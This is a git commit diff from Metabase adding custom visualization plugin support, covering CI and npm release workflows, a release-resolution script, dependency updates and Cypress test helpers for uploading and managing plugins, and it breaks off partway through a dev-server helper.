Skip to content

The easy-to-use open source Business Intelligence and Embedded Analytics tool that lets everyone work with data :bar_chart:

Custom visualizations (#70479)

Kamil Mielnik7819b3c7791c
diff --git a/.clj-kondo/config/modules/config.edn b/.clj-kondo/config/modules/config.edn
index c4a8198bacd..b3adb539c3e 100644
--- a/.clj-kondo/config/modules/config.edn
+++ b/.clj-kondo/config/modules/config.edn
@@ -212,6 +212,7 @@
:model-imports #{:model/CacheConfig
:model/Card
:model/Collection
+ :model/CustomVizPlugin
:model/Dashboard
:model/DashboardCard
:model/Database
@@ -362,6 +363,7 @@
:model/Channel
:model/Collection
:model/Comment
+ :model/CustomVizPlugin
:model/Dashboard
:model/Database
:model/Document
@@ -1096,7 +1098,6 @@
source-swap ;; Manipulates MBQL queries; tight coupling with lib is expected.
enterprise/sandbox}} ;; Really part of the QP, though its lives in the enterprise/ tree.
-
lib-be
{:team "Querying Platform"
:api #{metabase.lib-be.core
@@ -2847,6 +2848,20 @@
:api #{metabase-enterprise.core.init}
:uses :any}
+ enterprise/custom-viz-plugin
+ {:team "Gadget"
+ :api #{metabase-enterprise.custom-viz-plugin.api
+ metabase-enterprise.custom-viz-plugin.init}
+ :uses #{api
+ config
+ events
+ models
+ premium-features
+ server
+ settings
+ util}
+ :model-exports #{:model/CustomVizPlugin}}
+
enterprise/dashboard-subscription-filters
{:team "Graphy"
:api #{}
diff --git a/.github/file-paths.yaml b/.github/file-paths.yaml
index d53e9d23cd5..40b8d17081e 100644
--- a/.github/file-paths.yaml
+++ b/.github/file-paths.yaml
@@ -119,6 +119,12 @@ sources: &sources
- *frontend_sources
- *backend_sources
+custom_viz_all:
+ - ".github/workflows/run-tests.yml"
+ - ".github/workflows/frontend.yml"
+ - ".github/actions/prepare-node-bun/**"
+ - "enterprise/frontend/src/custom-viz/**"
+
e2e_ci: &e2e_ci
- *shared_ci
- ".github/actions/prepare-uberjar-artifact/**"
diff --git a/.github/workflows/frontend.yml b/.github/workflows/frontend.yml
index 925a74920a9..7fdf9ca4245 100644
--- a/.github/workflows/frontend.yml
+++ b/.github/workflows/frontend.yml
@@ -9,6 +9,9 @@ on:
skip-lint:
type: boolean
default: false
+ skip-custom-viz:
+ type: boolean
+ default: false
workflow_dispatch:
inputs:
skip:
@@ -19,6 +22,10 @@ on:
description: "Skip linting jobs (oxfmt, eslint, css variables check)"
type: boolean
default: false
+ skip-custom-viz:
+ description: "Skip custom-viz package tests"
+ type: boolean
+ default: false
concurrency:
group: ${{ github.workflow }}-${{ github.head_ref && github.ref || github.run_id }}-frontend
@@ -119,12 +126,37 @@ jobs:
- name: Run frontend timezones tests
run: bun run test-timezones
+ # The custom-viz package is an isolated Bun workspace under
+ # enterprise/frontend/src/custom-viz
+ fe-custom-viz:
+ if: ${{ !inputs.skip-custom-viz }}
+ runs-on: ${{ vars.DEFAULT_RUNNER_KEY }}
+ timeout-minutes: 10
+ defaults:
+ run:
+ working-directory: enterprise/frontend/src/custom-viz
+ steps:
+ - uses: actions/checkout@v4
+ - name: Prepare Node + Bun environment
+ uses: ./.github/actions/prepare-node-bun
+ - name: Install dependencies
+ run: bun install --frozen-lockfile
+ - name: Type-check
+ run: bun run type-check
+ - name: Lint
+ run: bun run lint
+ - name: Build CLI
+ run: bun run build
+ - name: Run tests
+ run: bun run test
+
fe-tests-result:
needs:
- fe-lint
- fe-type-check
- fe-tests-unit
- fe-tests-timezones
+ - fe-custom-viz
if: always() && !cancelled()
runs-on: ${{ vars.DEFAULT_RUNNER_KEY }}
timeout-minutes: 5
diff --git a/.github/workflows/release-custom-viz.yml b/.github/workflows/release-custom-viz.yml
index 9f265e341d5..b393dcf1d5e 100644
--- a/.github/workflows/release-custom-viz.yml
+++ b/.github/workflows/release-custom-viz.yml
@@ -1,35 +1,115 @@
name: Release Custom Viz Package
-run-name: Release @metabase/custom-viz v${{ inputs.version }} from ${{ inputs.branch }}
+run-name: Release @metabase/custom-viz from ${{ inputs.branch }}
on:
workflow_dispatch:
inputs:
branch:
- description: "Branch to release from"
+ description: "Branch to release from (master or release-x.NN.x)"
type: string
required: true
- default: "custom-viz"
- version:
- description: "Version to publish (e.g. 0.1.0)"
- type: string
- required: true
- npm_tag:
- description: "NPM dist-tag"
- type: choice
- required: true
- default: "latest"
- options:
- - latest
- - next
- - canary
+ default: "master"
+ dry_run:
+ description: "Skip npm publish and git tag push"
+ type: boolean
+ required: false
+ default: false
+
+concurrency:
+ group: ${{ github.workflow }}-${{ inputs.branch }}
+ cancel-in-progress: false
+
+permissions:
+ contents: read
jobs:
+ determine-release:
+ runs-on: ubuntu-22.04
+ timeout-minutes: 5
+ outputs:
+ version: ${{ steps.resolve.outputs.version }}
+ npm_tag: ${{ steps.resolve.outputs.npm_tag }}
+ git_tag: ${{ steps.resolve.outputs.git_tag }}
+ steps:
+ - name: Check out the code
+ uses: actions/checkout@v4
+ with:
+ ref: ${{ inputs.branch }}
+
+ - name: Resolve release from package.json
+ id: resolve
+ run: ./bin/custom-viz/resolve-release.sh | tee -a "$GITHUB_OUTPUT"
+
+ - name: Append release plan to workflow summary
+ env:
+ BRANCH: ${{ inputs.branch }}
+ VERSION: ${{ steps.resolve.outputs.version }}
+ NPM_TAG: ${{ steps.resolve.outputs.npm_tag }}
+ GIT_TAG: ${{ steps.resolve.outputs.git_tag }}
+ DRY_RUN: ${{ inputs.dry_run }}
+ run: |
+ {
+ echo "## Release plan"
+ echo ""
+ echo "- **Branch**: \`$BRANCH\`"
+ echo "- **Version**: \`$VERSION\`"
+ echo "- **npm tag**: \`$NPM_TAG\`"
+ echo "- **git tag**: \`$GIT_TAG\`"
+ echo "- **Dry run**: \`$DRY_RUN\`"
+ } >> "$GITHUB_STEP_SUMMARY"
+
+ preflight:
+ needs: determine-release
+ runs-on: ubuntu-22.04
+ timeout-minutes: 10
+ steps:
+ - name: Check out the code
+ uses: actions/checkout@v4
+ with:
+ ref: ${{ inputs.branch }}
+ fetch-depth: 0
+ fetch-tags: true
+
+ - name: Fail if git tag already exists
+ env:
+ GIT_TAG: ${{ needs.determine-release.outputs.git_tag }}
+ run: |
+ if [ -n "$(git tag -l "$GIT_TAG")" ]; then
+ echo "::error::Git tag '$GIT_TAG' already exists. Bump version in package.json and land a new PR."
+ exit 1
+ fi
+
+ - name: Prepare front-end environment
+ uses: ./.github/actions/prepare-frontend
+
+ - name: Fail if version already exists on npm
+ env:
+ VERSION: ${{ needs.determine-release.outputs.version }}
+ run: |
+ PUBLISHED=$(npm view "@metabase/custom-viz@$VERSION" version 2>/dev/null || true)
+ if [ -n "$PUBLISHED" ]; then
+ echo "::error::Version '$VERSION' already exists on npm. Bump version in package.json and land a new PR."
+ exit 1
+ fi
+
+ - name: Install custom-viz dependencies
+ working-directory: enterprise/frontend/src/custom-viz
+ run: bun install --frozen-lockfile
+
+ - name: Check package version consistency
+ working-directory: enterprise/frontend/src/custom-viz
+ run: bun run check:package-versions
+
build-and-publish:
+ needs: [determine-release, preflight]
runs-on: ubuntu-22.04
timeout-minutes: 20
+ permissions:
+ contents: read
+ id-token: write # OIDC handshake for npm trusted publishing
defaults:
run:
- working-directory: frontend/src/custom-viz
+ working-directory: enterprise/frontend/src/custom-viz
steps:
- name: Check out the code
uses: actions/checkout@v4
@@ -39,30 +119,78 @@ jobs:
- name: Prepare front-end environment
uses: ./.github/actions/prepare-frontend
- - name: Setup npm registry auth
- uses: actions/setup-node@v4
- with:
- node-version-file: ".nvmrc"
- registry-url: "https://registry.npmjs.org"
-
- - name: Set package version
- run: npm version ${{ inputs.version }} --no-git-tag-version
+ - name: Install custom-viz dependencies
+ run: bun install --frozen-lockfile
- name: Build package
run: bun run build
+ # Trusted publishing requires npm >= 11.5.1 and Node >= 22.14.0.
+ # Node 22.x ships npm 10.x, so pin Node 24.x which ships npm 11.x.
+ - name: Setup Node.js for npm publish with trusted publishing
+ uses: actions/setup-node@v4
+ with:
+ node-version: 24
+ registry-url: https://registry.npmjs.org
+
- name: Publish to NPM
- run: npm publish --tag ${{ inputs.npm_tag }}
+ if: ${{ !inputs.dry_run }}
+ env:
+ NPM_TAG: ${{ needs.determine-release.outputs.npm_tag }}
+ run: npm publish --tag "$NPM_TAG"
+
+ - name: Dry run — skipping npm publish
+ if: ${{ inputs.dry_run }}
+ run: echo "dry_run=true → skipped 'npm publish --tag ${{ needs.determine-release.outputs.npm_tag }}'"
+
+ tag-git:
+ needs: [determine-release, build-and-publish]
+ runs-on: ubuntu-22.04
+ timeout-minutes: 5
+ steps:
+ - name: Check out the code
+ uses: actions/checkout@v4
+ with:
+ ref: ${{ inputs.branch }}
+ token: ${{ secrets.METABASE_AUTOMATION_USER_TOKEN }}
+ fetch-depth: 0
+
+ - name: Configure git identity
+ run: |
+ git config user.name "Metabase Automation"
+ git config user.email "[email protected]"
+
+ - name: Create git tag
env:
- NODE_AUTH_TOKEN: ${{ secrets.NPM_RELEASE_TOKEN }}
+ GIT_TAG: ${{ needs.determine-release.outputs.git_tag }}
+ VERSION: ${{ needs.determine-release.outputs.version }}
+ run: git tag -a "$GIT_TAG" -m "@metabase/custom-viz $VERSION"
- - name: Generate workflow summary
+ - name: Push git tag
+ if: ${{ !inputs.dry_run }}
+ env:
+ GIT_TAG: ${{ needs.determine-release.outputs.git_tag }}
+ run: git push origin "$GIT_TAG"
+
+ - name: Dry run — skipping git tag push
+ if: ${{ inputs.dry_run }}
+ run: echo "dry_run=true → skipped 'git push origin ${{ needs.determine-release.outputs.git_tag }}'"
+
+ - name: Workflow summary
+ env:
+ VERSION: ${{ needs.determine-release.outputs.version }}
+ NPM_TAG: ${{ needs.determine-release.outputs.npm_tag }}
+ GIT_TAG: ${{ needs.determine-release.outputs.git_tag }}
+ BRANCH: ${{ inputs.branch }}
+ DRY_RUN: ${{ inputs.dry_run }}
run: |
- tee -a $GITHUB_STEP_SUMMARY << EOF
- ## Published @metabase/custom-viz
+ tee -a "$GITHUB_STEP_SUMMARY" << EOF
+ ## Released @metabase/custom-viz
- - **Version**: ${{ inputs.version }}
- - **Tag**: ${{ inputs.npm_tag }}
- - **Branch**: ${{ inputs.branch }}
+ - **Version**: \`$VERSION\`
+ - **npm tag**: \`$NPM_TAG\`
+ - **git tag**: \`$GIT_TAG\`
+ - **Branch**: \`$BRANCH\`
+ - **Dry run**: \`$DRY_RUN\`
- **Triggered by**: @${{ github.event.sender.login }}
EOF
diff --git a/.github/workflows/run-tests.yml b/.github/workflows/run-tests.yml
index 8ec5f868fc4..59c9e5b5dfe 100644
--- a/.github/workflows/run-tests.yml
+++ b/.github/workflows/run-tests.yml
@@ -37,6 +37,7 @@ jobs:
embedding_sdk_components: ${{ steps.changes.outputs.embedding_sdk_components }}
embedding_sdk_host_sample_apps: ${{ steps.changes.outputs.embedding_sdk_host_sample_apps }}
embedding_sdk_ci: ${{ steps.changes.outputs.embedding_sdk_ci }}
+ custom_viz_all: ${{ steps.changes.outputs.custom_viz_all }}
steps:
- uses: actions/checkout@v4
- name: Test which files changed
@@ -90,6 +91,7 @@ jobs:
with:
skip: ${{ needs.files-changed.outputs.frontend_all != 'true' }}
skip-lint: ${{ needs.files-changed.outputs.frontend_all != 'true' && needs.files-changed.outputs.e2e_all != 'true' }}
+ skip-custom-viz: ${{ needs.files-changed.outputs.custom_viz_all != 'true' }}
e2e-tests:
needs: [files-changed, uberjar]
diff --git a/.loki/reference/chrome_laptop_viz_CustomViz_CalendarHeatmap_Dashboard_Dark.png b/.loki/reference/chrome_laptop_viz_CustomViz_CalendarHeatmap_Dashboard_Dark.png
new file mode 100644
index 00000000000..05d87b5dfd4
Binary files /dev/null and b/.loki/reference/chrome_laptop_viz_CustomViz_CalendarHeatmap_Dashboard_Dark.png differ
diff --git a/.loki/reference/chrome_laptop_viz_CustomViz_CalendarHeatmap_Dashboard_Light.png b/.loki/reference/chrome_laptop_viz_CustomViz_CalendarHeatmap_Dashboard_Light.png
new file mode 100644
index 00000000000..f22ac981e6c
Binary files /dev/null and b/.loki/reference/chrome_laptop_viz_CustomViz_CalendarHeatmap_Dashboard_Light.png differ
diff --git a/.loki/reference/chrome_laptop_viz_CustomViz_CalendarHeatmap_Document_Dark.png b/.loki/reference/chrome_laptop_viz_CustomViz_CalendarHeatmap_Document_Dark.png
new file mode 100644
index 00000000000..123ca3e3aab
Binary files /dev/null and b/.loki/reference/chrome_laptop_viz_CustomViz_CalendarHeatmap_Document_Dark.png differ
diff --git a/.loki/reference/chrome_laptop_viz_CustomViz_CalendarHeatmap_Document_Light.png b/.loki/reference/chrome_laptop_viz_CustomViz_CalendarHeatmap_Document_Light.png
new file mode 100644
index 00000000000..3cfa26a1f92
Binary files /dev/null and b/.loki/reference/chrome_laptop_viz_CustomViz_CalendarHeatmap_Document_Light.png differ
diff --git a/.loki/reference/chrome_laptop_viz_CustomViz_CalendarHeatmap_Question_Dark.png b/.loki/reference/chrome_laptop_viz_CustomViz_CalendarHeatmap_Question_Dark.png
new file mode 100644
index 00000000000..4394cbfcf06
Binary files /dev/null and b/.loki/reference/chrome_laptop_viz_CustomViz_CalendarHeatmap_Question_Dark.png differ
diff --git a/.loki/reference/chrome_laptop_viz_CustomViz_CalendarHeatmap_Question_Light.png b/.loki/reference/chrome_laptop_viz_CustomViz_CalendarHeatmap_Question_Light.png
new file mode 100644
index 00000000000..6e29623a48e
Binary files /dev/null and b/.loki/reference/chrome_laptop_viz_CustomViz_CalendarHeatmap_Question_Light.png differ
diff --git a/.prettierignore b/.prettierignore
index 6c468d50914..09371d9da2d 100644
--- a/.prettierignore
+++ b/.prettierignore
@@ -3,3 +3,4 @@ docs/configuring-metabase/environment-variables.md
docs/api/*
docs/api-documentation.md
frontend/src/embedding-sdk-shared/.storybook/msw-public/mockServiceWorker.js
+frontend/test/__support__/custom-viz-fixtures/**/*.js
diff --git a/.storybook/main.ts b/.storybook/main.ts
index 165c9fb6098..ae7f6614c5b 100644
--- a/.storybook/main.ts
+++ b/.storybook/main.ts
@@ -20,7 +20,14 @@ const stories = process.env.STORYBOOK_STORIES_FILTER
const config: StorybookConfig = {
stories,
- staticDirs: ["../resources/frontend_client", "./msw-public"],
+ staticDirs: [
+ "../resources/frontend_client",
+ "./msw-public",
+ {
+ from: "../frontend/test/__support__/custom-viz-fixtures/calendar-heatmap",
+ to: "/custom-viz-fixtures/calendar-heatmap",
+ },
+ ],
addons: [
"@storybook/addon-webpack5-compiler-babel",
"@storybook/addon-essentials",
diff --git a/bin/custom-viz/resolve-release.sh b/bin/custom-viz/resolve-release.sh
new file mode 100755
index 00000000000..337f20b7698
--- /dev/null
+++ b/bin/custom-viz/resolve-release.sh
@@ -0,0 +1,44 @@
+#!/usr/bin/env bash
+# Reads version from the @metabase/custom-viz package.json and derives the
+# npm dist-tag. Prints three key=value lines to stdout:
+#
+# version=X.Y.Z[-canary.N]
+# npm_tag=latest|canary
+# git_tag=custom-viz-v<version>
+#
+# Only two versioning shapes are accepted:
+# 0.1.0 → latest
+# 0.1.0-canary.5 → canary
+#
+# Intended for use from the release workflow:
+#
+# ./bin/custom-viz/resolve-release.sh | tee -a "$GITHUB_OUTPUT"
+#
+# Run standalone to preview what the workflow will resolve.
+set -euo pipefail
+
+PKG="${CUSTOM_VIZ_PKG:-enterprise/frontend/src/custom-viz/package.json}"
+
+if [ ! -f "$PKG" ]; then
+ echo "package.json not found at $PKG" >&2
+ exit 1
+fi
+
+VERSION=$(jq -r '.version // ""' "$PKG")
+if [ -z "$VERSION" ]; then
+ echo "version missing from $PKG" >&2
+ exit 1
+fi
+
+if [[ "$VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
+ NPM_TAG="latest"
+elif [[ "$VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+-canary\.[0-9]+$ ]]; then
+ NPM_TAG="canary"
+else
+ echo "version '$VERSION' in $PKG must be X.Y.Z or X.Y.Z-canary.N" >&2
+ exit 1
+fi
+
+echo "version=$VERSION"
+echo "npm_tag=$NPM_TAG"
+echo "git_tag=custom-viz-v$VERSION"
diff --git a/bun.lock b/bun.lock
index b98af7d8cbd..fea496c4f10 100644
--- a/bun.lock
+++ b/bun.lock
@@ -33,6 +33,7 @@
"@juggle/resize-observer": "^3.4.0",
"@lezer/highlight": "^1.2.1",
"@lezer/lr": "^1.4.2",
+ "@locker/near-membrane-dom": "^0.15.0",
"@loki/browser": "0.35.0",
"@mantine/core": "8.3.18",
"@mantine/dates": "8.3.18",
@@ -93,6 +94,7 @@
"dayjs": "^1.11.18",
"detect-package-manager": "^3.0.2",
"diff": "^5.2.2",
+ "dompurify": "^3.4.0",
"echarts": "6.0.0",
"events": "^3.3.0",
"fast-text-encoding": "^1.0.6",
@@ -1117,6 +1119,14 @@
"@lezer/python": ["@lezer/[email protected]", "", { "dependencies": { "@lezer/common": "^1.2.0", "@lezer/highlight": "^1.0.0", "@lezer/lr": "^1.0.0" } }, "sha512-aVQ43m2zk4FZYedCqL0KHPEUsqZOrmAvRhkhHlVPnDD1HODDyyQv5BRIuod4DadkgBEZd53vQOtXTonNbEgjrQ=="],
+ "@locker/near-membrane-base": ["@locker/[email protected]", "", { "dependencies": { "@locker/near-membrane-shared": "0.15.0" } }, "sha512-ui7JZF4lG0TosGSl1ECGd4w0pwE9JXFw+JB0YYFA61qqw0ZmPk6yacPb6mawGqg1boa/yASZ1JIC5YRfk+jMCw=="],
+
+ "@locker/near-membrane-dom": ["@locker/[email protected]", "", { "dependencies": { "@locker/near-membrane-base": "0.15.0", "@locker/near-membrane-shared": "0.15.0", "@locker/near-membrane-shared-dom": "0.15.0" } }, "sha512-sOo9rE7smymkBust2FzBhUAcbKksSTl9q/amroFE4P1Zlof6moTHCvVh3X/wnP4o7Md+yPWOEhNyrAA56kMIsg=="],
+
+ "@locker/near-membrane-shared": ["@locker/[email protected]", "", {}, "sha512-d6sJH7GrLmK9+k1ujobMCya7sIXIzAhjOCqRSxp03YGgnfurGR3ymq1R2oqdaGJldYIw3W4rD/Zc0n9q01CHfA=="],
+
+ "@locker/near-membrane-shared-dom": ["@locker/[email protected]", "", { "dependencies": { "@locker/near-membrane-shared": "0.15.0" } }, "sha512-Pe3xDLiWHk0NqRjwE3KSGqEXwiQ7pfZIwX8n/9JAfFeUV6AQPrn5+8X4kFQter3zY4Aj8rGg+C9S8BluFtxafg=="],
+
"@loki/browser": ["@loki/[email protected]", "", { "dependencies": { "@loki/integration-core": "^0.35.0" } }, "sha512-VYSd3bx9dOQ/Wo2C1gdNdE2mcYPleVtGInRcZmCOJ01va14L9VEGzG2zL1dMcmMUuJ2cT3Ri1GR59vEO3vKWvQ=="],
"@loki/core": ["@loki/[email protected]", "", { "dependencies": { "mime-types": "^2.1.35", "shelljs": "^0.8.3" } }, "sha512-AxFgo73juZ7XhmmFXMhtkpEwLBXraHEvqeQKtxmZ9V/PNWXR+yVmlMJ6HzM2WyL2ewmcaOqWX/EuuN/j24CwCA=="],
@@ -2865,7 +2875,7 @@
"domhandler": ["[email protected]", "", { "dependencies": { "domelementtype": "^2.3.0" } }, "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w=="],
- "dompurify": ["[email protected]", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-lHeS9SA/IKeIFFyYciHBr2n0v1VMPlSj843HdLOwjb2OxNwdq9Xykxqhk+FE42MzAdHvInbAolSE4mhahPpjXA=="],
+ "dompurify": ["[email protected]", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-nolgK9JcaUXMSmW+j1yaSvaEaoXYHwWyGJlkoCTghc97KgGDDSnpoU/PlEnw63Ah+TGKFOyY+X5LnxaWbCSfXg=="],
"domutils": ["[email protected]", "", { "dependencies": { "dom-serializer": "^2.0.0", "domelementtype": "^2.3.0", "domhandler": "^5.0.3" } }, "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw=="],
diff --git a/docs/installation-and-operation/commands.md b/docs/installation-and-operation/commands.md
index 13618391431..afbb57187be 100644
--- a/docs/installation-and-operation/commands.md
+++ b/docs/installation-and-operation/commands.md
@@ -118,4 +118,3 @@ Open an SQL shell for the Metabase H2 DB:
```sh
java -cp metabase.jar org.h2.tools.Shell -url jdbc:h2:/path/to/metabase.db
```
-
diff --git a/e2e/runner/cypress-runner-backend.js b/e2e/runner/cypress-runner-backend.js
index 9de6aad6627..2062f39d3e4 100755
--- a/e2e/runner/cypress-runner-backend.js
+++ b/e2e/runner/cypress-runner-backend.js
@@ -17,6 +17,8 @@ function getJvmOptsFromDepsEdn(alias = "e2e") {
// Ensure that the only two required env vars have values
process.env.MB_DB_FILE = process.env.MB_DB_FILE || tempDbPath;
process.env.MB_JETTY_PORT = process.env.MB_JETTY_PORT || 4000;
+process.env.MB_CUSTOM_VIZ_PLUGIN_DEV_MODE_ENABLED =
+ process.env.MB_CUSTOM_VIZ_PLUGIN_DEV_MODE_ENABLED || "true";
// Expose the `en-ZZ` pseudo-locale in the Cypress backend's language pickers and API validation.
process.env.MB_ENABLE_TEST_LOCALES = "true";
diff --git a/e2e/support/assets/example_custom_viz_plugin.tgz b/e2e/support/assets/example_custom_viz_plugin.tgz
new file mode 100644
index 00000000000..d5325551cb6
Binary files /dev/null and b/e2e/support/assets/example_custom_viz_plugin.tgz differ
diff --git a/e2e/support/assets/example_custom_viz_plugin_2.tgz b/e2e/support/assets/example_custom_viz_plugin_2.tgz
new file mode 100644
index 00000000000..998a3bcb92d
Binary files /dev/null and b/e2e/support/assets/example_custom_viz_plugin_2.tgz differ
diff --git a/e2e/support/config.js b/e2e/support/config.js
index c886b57badf..c5b167feb50 100644
--- a/e2e/support/config.js
+++ b/e2e/support/config.js
@@ -15,6 +15,10 @@ import {
verifyDownloadTasks,
} from "./commands/downloads/downloadUtils";
import * as dbTasks from "./db_tasks";
+import {
+ startCustomVizDevServer,
+ stopCustomVizDevServer,
+} from "./helpers/e2e-custom-viz-dev-server-tasks";
import { signJwt } from "./helpers/e2e-jwt-tasks";
import {
startMockLlmServer,
@@ -142,6 +146,8 @@ const defaultConfig = {
signJwt,
startMockLlmServer,
stopMockLlmServer,
+ startCustomVizDevServer,
+ stopCustomVizDevServer,
});
/********************************************************************
diff --git a/e2e/support/helpers/api/customVizPlugin.ts b/e2e/support/helpers/api/customVizPlugin.ts
new file mode 100644
index 00000000000..91a115bd428
--- /dev/null
+++ b/e2e/support/helpers/api/customVizPlugin.ts
@@ -0,0 +1,65 @@
+import type { CustomVizPlugin, CustomVizPluginId } from "metabase-types/api";
+
+/**
+ * Upload a packaged custom-viz bundle (.tgz) and register it as a plugin.
+ * `tgzPath` must be an absolute path to a .tgz file on disk (typically a
+ * fixture under `e2e/support/assets/`).
+ *
+ * `cy.request` returns the response body as an `ArrayBuffer` when the request
+ * body is `FormData` (Cypress treats the whole exchange as binary). We decode
+ * it back to a parsed JSON object so callers see the typed `CustomVizPlugin`.
+ */
+export function addCustomVizPlugin(
+ tgzPath: string,
+): Cypress.Chainable<CustomVizPlugin> {
+ return cy
+ .readFile(tgzPath, "binary")
+ .then((fileContent: string) => {
+ const blob = Cypress.Blob.binaryStringToBlob(
+ fileContent,
+ "application/gzip",
+ );
+ const formData = new FormData();
+ formData.append("file", blob, "plugin.tgz");
+ return cy.request<ArrayBuffer | CustomVizPlugin>({
+ method: "POST",
+ url: "/api/ee/custom-viz-plugin",
+ body: formData,
+ failOnStatusCode: false,
+ });
+ })
+ .then(({ body, status }) => {
+ // Cypress's `cy.request` always returns the response body as an
+ // ArrayBuffer when the request body is `FormData` — even for JSON
+ // responses. The buffer comes from a different realm than the spec's
+ // `window.ArrayBuffer`, so `instanceof ArrayBuffer` returns false.
+ // Decode unconditionally instead of branching.
+ const bytes = new Uint8Array(body as ArrayBuffer);
+ const text = new TextDecoder("utf-8").decode(bytes);
+ if (status !== 200) {
+ console.error(
+ `[addCustomVizPlugin] upload failed (${status}): ${text}`,
+ );
+ throw new Error(`upload failed (${status}): ${text}`);
+ }
+ return JSON.parse(text) as CustomVizPlugin;
+ });
+}
+
+export function removeAllCustomVizPlugins() {
+ cy.request<CustomVizPlugin[]>("GET", "/api/ee/custom-viz-plugin").then(
+ ({ body: plugins }) => {
+ for (const plugin of plugins) {
+ cy.request("DELETE", `/api/ee/custom-viz-plugin/${plugin.id}`);
+ }
+ },
+ );
+}
+
+export function refreshCustomVizPlugin(
+ id: CustomVizPluginId,
+): Cypress.Chainable<CustomVizPlugin> {
+ return cy
+ .request<CustomVizPlugin>("POST", `/api/ee/custom-viz-plugin/${id}/refresh`)
+ .then(({ body }) => body);
+}
diff --git a/e2e/support/helpers/api/index.ts b/e2e/support/helpers/api/index.ts
index 749a3d37ac2..522efdcb689 100644
--- a/e2e/support/helpers/api/index.ts
+++ b/e2e/support/helpers/api/index.ts
@@ -3,17 +3,16 @@ export { addQuestionToDashboard } from "./addQuestionToDashboard";
export { archiveCollection } from "./archiveCollection";
export { archiveDashboard } from "./archiveDashboard";
export { archiveQuestion } from "./archiveQuestion";
-export { updateSnippet } from "./updateSnippet";
export { createApiKey } from "./createApiKey";
export { createCard } from "./createCard";
export { createCollection } from "./createCollection";
export { createComment } from "./createComment";
export { createDashboard } from "./createDashboard";
-export { createLibrary } from "./createLibrary";
export type { DashboardDetails } from "./createDashboard";
export { createDashboardWithQuestions } from "./createDashboardWithQuestions";
export { createDashboardWithTabs } from "./createDashboardWithTabs";
export { createDocument } from "./createDocument";
+export { createLibrary } from "./createLibrary";
export { createModerationReview } from "./createModerationReview";
export { createNativeQuestion } from "./createNativeQuestion";
export type { NativeQuestionDetails } from "./createNativeQuestion";
@@ -28,27 +27,30 @@ export type {
export { createQuestionAndAddToDashboard } from "./createQuestionAndAddToDashboard";
export { createQuestionAndDashboard } from "./createQuestionAndDashboard";
export { createReaction } from "./createReaction";
-export { seedSecurityAdvisories } from "./seedSecurityAdvisories";
-export type { SecurityAdvisorySpec } from "./seedSecurityAdvisories";
export { createSnippet } from "./createSnippet";
export { createSnippetFolder } from "./createSnippetFolder";
-export { createTestQuery, createTestNativeQuery } from "./createTestQuery";
+export { createTestNativeQuery, createTestQuery } from "./createTestQuery";
export { createTimeline } from "./createTimeline";
export { createTimelineEvent } from "./createTimelineEvent";
export { createTimelineWithEvents } from "./createTimelineWithEvents";
export { createTransform } from "./createTransform";
export { createTransformJob } from "./createTransformJob";
export { createTransformTag } from "./createTransformTag";
+export * from "./customVizPlugin";
export { deleteComment } from "./deleteComment";
export { editDashboardCard } from "./editDashboardCard";
export { getCurrentUser } from "./getCurrentUser";
export { publishTables } from "./publishTables";
export { remapDisplayValueToFK } from "./remapDisplayValueToFK";
+export { seedSecurityAdvisories } from "./seedSecurityAdvisories";
+export type { SecurityAdvisorySpec } from "./seedSecurityAdvisories";
export { unpublishTables } from "./unpublishTables";
+export { updateAdvancedPermissionsGraph } from "./updateAdvancedPermissionsGraph";
export { updateComment } from "./updateComment";
export { updateDashboardCards } from "./updateDashboardCards";
export {
- updateSetting,
updateEnterpriseSetting,
updateEnterpriseSettings,
+ updateSetting,
} from "./updateSetting";
+export { updateSnippet } from "./updateSnippet";
diff --git a/e2e/support/helpers/api/updateAdvancedPermissionsGraph.ts b/e2e/support/helpers/api/updateAdvancedPermissionsGraph.ts
new file mode 100644
index 00000000000..0938c6ce7fa
--- /dev/null
+++ b/e2e/support/helpers/api/updateAdvancedPermissionsGraph.ts
@@ -0,0 +1,34 @@
+import type {
+ AdvancedPermissionsGraph,
+ AdvancedPermissionsGroups,
+} from "metabase-types/api";
+
+export function updateAdvancedPermissionsGraph(
+ groupsPermissionsObject: AdvancedPermissionsGroups,
+): Cypress.Chainable<Cypress.Response<AdvancedPermissionsGraph>> {
+ return cy
+ .request<AdvancedPermissionsGraph>(
+ "GET",
+ "/api/ee/advanced-permissions/application/graph",
+ )
+ .then(({ body: { groups, revision } }) => {
+ const updatedGroups: AdvancedPermissionsGroups = { ...groups };
+ for (const [groupId, permissions] of Object.entries(
+ groupsPermissionsObject,
+ )) {
+ updatedGroups[Number(groupId)] = {
+ ...updatedGroups[Number(groupId)],
+ ...permissions,
+ };
+ }
+
+ return cy.request<AdvancedPermissionsGraph>(
+ "PUT",
+ "/api/ee/advanced-permissions/application/graph",
+ {
+ groups: updatedGroups,
+ revision,
+ },
+ );
+ });
+}
diff --git a/e2e/support/helpers/e2e-custom-viz-dev-server-tasks.ts b/e2e/support/helpers/e2e-custom-viz-dev-server-tasks.ts
new file mode 100644
index 00000000000..6e43826216e
--- /dev/null
+++ b/e2e/support/helpers/e2e-custom-viz-dev-server-tasks.ts
@@ -0,0 +1,100 @@
+import { spawn } from "node:child_process";
+import { createWriteStream } from "node:fs";
+import { tmpdir } from "node:os";
+import { join } from "node:path";
+
+const TIMEOUT = 30_000;
+const POLL_INTERVAL = 250;
+
+async function waitForHttpOk(
+ url: string,
+ timeoutMs: number,
+ logFilePath: string,
+): Promise<void> {
+ const start = Date.now();
+
+ while (Date.now() - start < timeoutMs) {
+ try {
+ const res = await fetch(url);
+ if (res.ok) {
+ return;
+ }
+ } catch {
+ console.log("Dev server not up yet, keep polling");
+ }
+ await new Promise((resolve) => setTimeout(resolve, POLL_INTERVAL));
+ }
+
+ throw new Error(
+ `Dev server did not become ready: ${url} (see spawn log at ${logFilePath})`,
+ );
+}
+
+type StartCustomVizDevServerArgs = {
+ cwd: string;
+ port?: number;
+};
+
+let running: DevServerHandle | null = null;
+
+type DevServerHandle = {
+ pid: number;
+ url: string;
+};
+
+export async function startCustomVizDevServer(
